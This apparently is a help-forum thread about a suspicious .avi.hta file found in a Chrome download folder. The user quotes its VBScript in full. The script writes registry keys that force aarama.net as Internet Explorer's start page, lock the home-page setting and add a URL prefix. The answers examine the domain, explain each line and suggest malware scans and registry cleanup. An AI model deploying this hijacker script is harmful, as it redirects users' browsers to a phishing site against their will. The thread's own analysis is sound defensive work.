help … virus ? compromised ? (aarama.net)

Question

Help me please identify whether my computer is compromised or not.

I'm not yet sure what this is.. I'm still browsing through some JavaScript (my level = beginner) files I found during my 'research'...

The story:

1. Windows 7 x64 Professional, Eset Smart Security 4.2.71.2, latest Firefox, latest Chrome, IE 8

2. I found in the Chrome's default download folder a file adam-liseli-kizi-otele-goturup-sikiyor.avi.hta It's a VB Script:

   Set shell = CreateObject("WScript.Shell")
   shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://aarama.net/","REG_SZ"
   shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
   shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"
   shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"
   shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ" 
   self.Close
   

3. I followed aarama.net, found there a phishing website (I think) looking like Google with a lot of JavaScript which I'm trying to understand right now..

Answer 1

Well, doing some network level digging I can tell you this much:

1. The domain was registered 20 days ago.
2. The registrar is in Luxembourg but the telephone number is in Denmark.
3. The site appears to be turkish.
4. The domain owner is hiding behind PrivacyProtect
5. The site is hosted by CloudFlair in San Francisco.

All in all it seems very very dodgy:

1. It is a new domain
2. The registration details don't add up
3. Hiding who registered the domain is not necessarily bad, but someone nefarious would do it
4. CloudFlare give away free accounts with very little checking.

A quick glance at the javascript and playing with the site within Links didn't throw up anything too nasty, but I haven't analyzed the JS properly yet (it's nearly midnight). I'll have more of a dig in the morning.

If you do find it is definitely malware then a call to CloudFlare will be in order to alert them to it - they will probably instantly shut down the site.

Update

aarama.net has moved to a hosting setup in Germany that is notorious for hosting bots and other dodgy sites (your-server.de).

Answer 2

I don't speak much script, but the intentions of this one seem mostly clear.

Set shell = CreateObject("WScript.Shell")

The first line, I'm not totally sure of. However, some Googling seems to confirm my thoughts that this is a fairly standard opening line for a script.

The rest of the lines appear to be setting various registry keys.

shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes\\mirc","http://aarama.net/","REG_SZ"

This one adds a new URL Prefix to Internet Explorer. Essentially, any time IE is told to request a resource beginning in "mirc." and the protocol is not specified, it will insert "http://aarama.net/" in front of the address before processing it. So, if you were to type "mirc.google.com" into your address bar, IE would translate it to "http://aarama.net/mirc.google.com". This probably helps some of the other scripts on the malicious site (or downloaded malware) to function.

shell.regwrite "HKLM\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"  
shell.regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\\HomePage","00000001","REG_DWORD"

These add Registry keys that typically implement Group Policy control over Internet Explorer. You may find that you cannot change your IE Home Page via the Control Panel anymore.

shell.regwrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ"  
shell.regwrite "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\\Start Page", "http://aarama.net/","REG_SZ" 

These set "http://aarama.net/" to your home page - ensuring that you'll go to the site at least once, and have opportunity to fall victim to whatever phishing scam or malicious code may be there. Of course, the earlier keys will make sure that you don't just go once since you can't change the home page.

self.Close

Again, I don't really speak script. But I think this one quite obviously ends it.

Some things you should do with this information:

1.) (Too Late) Do not go to that website.

2.) Have a few good antivirus/anti-malware programs dig through your machine. My recommendations are an Avast! boot-time scan, Malwarebytes, and SpyBot Search & Destroy. If possible, use a separate, known-good, disposable machine to do the scans. Or, get a good LiveCD for the scans.

3.) Check your registry for the values created by the script. If they're still there, back up your registry, then delete the created values or change them to your preferred settings. The first three should just be dumped. The last two, set to your preference or "about:blank".

4.) If you notice any suspicious activity on your system after this, it's time for the "nuke from orbit" approach. Hope you've got good backups.

Answer 3

That does look ever so odd. I'd suggest a few things - malwarebytes first - its a good scanner, and one occationally blocked by malware - its effective when it does work. Other than that, look for odd processes in process manager and netstat.

I'd also suggest learning to use, and using rootkit revealer (in case of rootkits) and hijackthis to confirm - the latter's logs are very useful when trying to determine if there has been an intrusion, tho, they take some interpreting.

Answer 4

I'm no expert but it looks like it's making that domain the homepage for internet explorer. The domain links to a Google phisher.

The goal is to get you to sign into your Google account so they can harvest accounts. I have not taken a good look at the site but I doubt it does anything else.

No matter what you should scan with Malwarebytes just to make sure.